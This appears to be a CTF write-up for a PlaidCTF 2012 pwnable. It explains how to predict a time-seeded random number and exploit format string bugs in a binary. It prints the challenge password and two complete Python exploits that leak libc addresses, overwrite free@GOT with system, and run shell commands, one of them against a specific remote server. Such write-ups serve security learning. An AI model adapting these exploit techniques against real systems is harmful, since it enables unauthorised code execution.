Up on a hill, far away, sits the robot king of old. While he was once great, he recently has seemed to just offer simple challenges. Vanquish him and bring honor to your team!
Summary: rand guessing, format string exploitation
File is x86 ELF which consists plenty of format string vulnerabilities.
But to exploit them we have to solve some issues.
First of all, we have to send password. It is kept in file as plain text:
“2ipzLTxTGOtJE0Um”
Second, we have to guess pseudo random number which is generated from time.
time((time_t *)&current_time); current_time /= 60; srand(current_time); rnd_number = rand(); // … printf("Name: "); fflush(stdout); fgets(szName, 256, stdin); printf("Guess: "); fflush(stdout); fgets(szGuess, 32, stdin); our_number = atoi(szGuess); if ( our_number != rnd_number ) { puts("Wrong value!"); exit(1); } |
There are two the easiest ways to guess.
To write small program like:
#include <time.h> void main(void) { time_t curr_time; srand(time(&curr_time)/60); printf("%d", rand()); } |
and to execute it before starting a target program.
If we are going to write exploit at python we can use ctypes lib (hellman’s idea =) )
LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") t = LIBC.time(0)/60 LIBC.srand(t) return str(LIBC.rand()) |
So, now we are ready to exploit target program. Finally, we decide to use a printf (0x080489FD) after snprintf (0x080489F1). Rewrite free@got with system@libc, which address can be calculated from a memory leak and an offset from given library.
There are two exploits:
By zyx2145:
#!/usr/bin/python import os import subprocess import sys import struct import ctypes def get_rnd_str(): LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") t = LIBC.time(0)/60 LIBC.srand(t) return str(LIBC.rand()) ################################## get real address of system ########################## PW = "2ipzLTxTGOtJE0Um\n" addr = 0x8049E30 # atoi address system_org = 0x00039100 # system offset in libc.so.6 atoi_org = 0x0002D870 # atoi offset in libc.so.6 buf = PW + struct.pack("<I", addr) + "XXXX%19$s\n" buf += get_rnd_str() p2 = subprocess.Popen(["./problem"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) p2.stdin.write(buf) result = p2.communicate()[0] system = struct.unpack("<I",result[result.find("XXXX")+4:result.find("XXXX")+8])[0] ####################################### execute cat key ################################ buf = PW addr = 0x08049e18 # address of free GOT system = system + (system_org-atoi_org) # calculate real system address high = system >> 16 low = system & 0xFFFF start = 8 if high < low: buf += struct.pack("<I", addr+2) + struct.pack("<I", addr)+\ "%%" + str(high - start) + "c%%21$hn"+\ "%%" + str(low - high) + "c%%22$hn"+"; cat key\n" else: buf += struct.pack("<I", addr) + struct.pack("<I", addr+2)+\ "%%" + str(low - start) + "c%%21$hn"+\ "%%" + str(high - low) + "c%%22hn"+"; cat key\n" buf += get_rnd_str() p3 = subprocess.Popen(["./problem"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) p3.stdin.write(buf) result = p3.communicate()[0] result = result.replace(' ','') print result[result.find("Bye,")+8:] |
#!/usr/bin/env python #-*- coding:utf-8 -*- from inc import * from libformatstr import * import ctypes PW = "2ipzLTxTGOtJE0Um\n" def do_fmt(fmt): LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") t = LIBC.time(0)/60 LIBC.srand(t) rnd = LIBC.rand() f = Sock("23.20.104.208", 56345, 10) f.read_until(": ") f.send(PW) f.read_until(": ") f.send(fmt + "\n") f.read_until(": ") f.send(str(rnd) + "\n") return f.read_until("Bye") + f.read_one() def read_dword(addr): res = do_fmt(pack("<I", addr) + '0000%19$s') #print res res = res[res.find("playing, ") + 9:] if res[4:8] != "0000": print "FAIL" res = res[8:] start = unpack("<I", res[:4])[0] return start system = 0xf7ec8450 #start = read_dword(0x08049e14) #diff1 = 0x39450 - 0x16bc0 #system = start + diff1 low = system & 0xffff high = system >> 16 start = 8 addr = 0x8049E18 r = pack("<I", addr) r += pack("<I", addr+2) r += "%%" + str(low - start) + "c" r += "%%21$hn" r += "%%" + str(high - low) + "c" r += "%%22$hn" r += "; " + sys.argv[1] print r LIBC = ctypes.cdll.LoadLibrary("./libc.so.6") t = LIBC.time(0)/60 LIBC.srand(t) rnd = LIBC.rand() f = Sock("23.20.104.208", 56345, 10) f.read_until(": ") f.send(PW) f.read_until(": ") f.send(r + "\n") f.read_until(": ") f.send(str(rnd) + "\n") s = "" while not f.eof: try: s += f.read_one() except: pass s = s[s.find("not found")+9:] s = s[s.find("not found")+9:] print s |
Well done =)
1 ping
[…] http://leetmore.ctf.su/wp/plaidctf-2012-…-pwnables/ […]